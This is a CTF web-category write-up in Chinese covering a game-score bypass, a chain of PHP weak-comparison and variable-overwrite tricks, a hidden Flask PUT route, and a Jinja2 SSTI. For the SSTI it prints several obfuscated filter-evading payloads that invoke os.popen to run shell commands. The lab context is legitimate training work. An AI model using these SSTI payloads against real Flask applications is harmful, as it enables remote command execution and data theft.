GDOUCTF 为广东海洋大学Hor1zon战队面向本校的第一次新生赛性质的校赛,比赛旨在选拔出有能力且志同道合的师傅加入战队,同时对海大校内学生普及信息安全知识,增强信息安全意识,提高网络空间安全创新能力与实践技能。
web方向AK,团队排名59,总的来说Web方向出的较简单,这里记录一手个人的题解记录,,NSSCTF平台可以复现
根据规则要玩 60 秒,但过几秒蛇的速度就激情起来了,根本把控不住
js代码经过了混淆,不能直接获得flag
if (this['getScore']() > -0x1e9 * -0xf + 0x5 * 0x6d + -0x2e * 0xaa)
return alert(_0x324fcb(0x2d9, 0x2c3, 0x2db, 0x2f3) + 'k3r_h0pe_t' + _0xe4a674(0x5a1, 0x595, 0x59e, 0x57c) + 'irlfriend}'),
![];
那么这里要求60秒,查看分数的计算逻辑
getScore: function() {
///////////////////////
var score = Math.round((this.timeCounter + new Date().getTime() - this.startTime) / 1000);
/////////////////////////
return score;
}
很容易只是单纯判断开始时间和当前时间的差值,那么这里就可以直接让程序开始运行后暂停60秒
这里使用浏览器的开发者工具中的调试功能完成
然后就能得到flag啦
看师傅们的wp还有很多办法,有长按空格键暂停的,还有下载 js 代码本地修改判断分数语句运行得flag的,还有修改Snake的原型链的方法得flag的,控制台运行Snake.prototype.getScore = () => 114514
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?> 别来沾边
首先看第一圈和第二圈 if 判断,因为都是围绕gdou
和ctf
两个参数
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
这里md5弱比较,直接一手数组绕过,POST传入gdou[]=1&ctf[]=2
然后看第三四圈 if 判断
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
设置Cookie头,Cookie: cookie=j0k3r
接着进入第五六圈 if 判断
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
这里用PHP弱类型特性进行绕过,GET传参?aaa=114514&bbb=114514a
终于到了最后一坨
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
这里if要求POST或者GET传入参数flag,特别注意POST和GET进入后,后面foreach
的逻辑不同,相差一个$
使用GET传入则对传入的键值对进行遍历和变量覆盖,既然不能直接让flag=flag
自己传给自己,那就找个中间人,给他之后再拿回来
所以GET传入hacker=flag&flag=hacker
最终payload
GET: ?aaa=114514&bbb=114514a&hacker=flag&flag=hacker
Header: Cookie: cookie=j0k3r
POST: gdou[]=1&ctf[]=2
首先有一个点击按钮,点点看,提示Where's the flag? i swear it was around here somewhere
,盲猜哪有源码泄露什么的
先查看源码,发现注释
<!-- /src -->
进到这个路由
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
这就很简单了,直接PUT请求方法往/super-secret-route-nobody-will-guess
路由发包就可以了
这里可以用burpsuite随便抓个当前页面的包,然后改包发送即可
使用wappalyzer插件快速知道网站用的python的flask框架
盲猜SSTI,输入{{7*7}}
测测是不是,回显Invalid input detected
甚至这里被过滤了,可以用 Jinja2 的 {%...%}
语句装载一个循环控制语句来绕过,输入{%7*7%}
,这里报错了获取到了部分源码。其实是忘了不能这么写,
应该{%print(......)%}
的形式来代替 {{}}
File "/app/app.py", line 21, in get_flag
if re.search(pattern, name):
return render_template('index.html', error='Invalid input detected.')Open an interactive python shell in this frame
else:
# 使用用户输入进行模板渲染
template = "Hello, $ {} $!".format(name)
return render_template_string(template)
确信是SSTI了,那么开始测测过滤了神魔吧
这里直接给最后getshell拿到的后端代码了
# -*- coding: utf-8 -*-
from flask import Flask, request, render_template, render_template_string
import re
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/get_flag', methods=['POST'])
def get_flag():
name = request.form['name']
# 进行过滤规则的检查
pattern = r"(\{\{|\}\}|popen|os|subprocess|application|getitem|flag\.txt|\.|_|\[|\]|\"|class|subclasses|mro|\\)"
if re.search(pattern, name):
return render_template('index.html', error='Invalid input detected.')
else: # 使用用户输入进行模板渲染
template = "Hello, $ {} $!".format(name)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
经过测试也可以发现过滤是相当狠的
所以这里利用jinja过滤器进行bypass(原理见这篇文章,这里直接给出payload)
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set get=(xhx,xhx,'metiteg'|reverse,xhx,xhx)|join%}
{%set s='so'|reverse%}
{%set cla=(xhx,xhx,'ssalc'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'esab'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'sessalcbus'|reverse,xhx,xhx)|join%}
{%set po='nepop'|reverse%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{%print(lipsum|attr(globals)|attr(get)(s)|attr(po)('cat /f*')|attr(read)())%}
看到大佬们有github的fenjing工具一把梭的 @rbeopad
{%print(((lipsum|attr((‘%c’*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr((‘%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((‘%c’*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr((‘%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((‘%c’*4)%(101,118,97,108))))((‘%c’*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%}
还有巧妙利用没被过滤的|attr()
拼接字符串的 @Cnily03
{%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%}
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus